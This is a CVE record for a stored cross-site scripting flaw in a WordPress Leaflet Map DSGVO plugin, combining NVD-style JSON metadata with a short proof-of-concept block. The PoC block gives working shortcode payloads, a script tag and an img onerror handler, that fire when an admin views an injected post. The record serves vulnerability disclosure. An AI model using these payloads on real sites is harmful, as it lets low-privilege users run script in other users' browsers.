CVE-2026-4389

<!-- Access required: Contributor level or higher --> <!-- Shortcode: leafext-cookie-time or leafext-delete-cookie --> <!-- Vulnerable parameters: unset, before, after --> <!-- PoC 1: Using 'before' parameter in leafext-cookie-time --> [leafext-cookie-time before="<script>alert('CVE-2026-4389');</script>"] <!-- PoC 2: Using 'after' parameter in leafext-delete-cookie --> [leafext-delete-cookie unset="1" after="<img src=x onerror=alert('XSS')>"] <!-- Note: Submit this in a post/page content. When an admin views the page, the alert will trigger. -->

{"cve": {"id": "CVE-2026-4389", "sourceIdentifier": "[email protected]", "published": "2026-03-26T05:16:40.667", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The DSGVO snippet for Leaflet Map and its Extensions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `leafext-cookie-time` and `leafext-delete-cookie` shortcodes in all versions up to, and including, 3.1. This is due to insufficient input sanitization and output escaping on user supplied attributes (`unset`, `before`, `after`). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El fragmento DSGVO para Leaflet Map y su plugin Extensions para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de los shortcodes 'leafext-cookie-time' y 'leafext-delete-cookie' en todas las versiones hasta la 3.1, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario ('unset', 'before', 'after'). Esto permite a atacantes autenticados, con acceso de nivel de colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/dsgvo-leaflet-map/tags/3.1/php/time-delete.php#L35", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dsgvo-leaflet-map/tags/3.4", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dsgvo-leaflet-map/trunk/php/time-delete.php#L35", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3489426%40dsgvo-leaflet-map%2Ftrunk&old=3488424%40dsgvo-leaflet-map%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dfeaff92-165a-4006-8e52-a99ae6b68dd9?source=cve", "source": "[email protected]"}]}}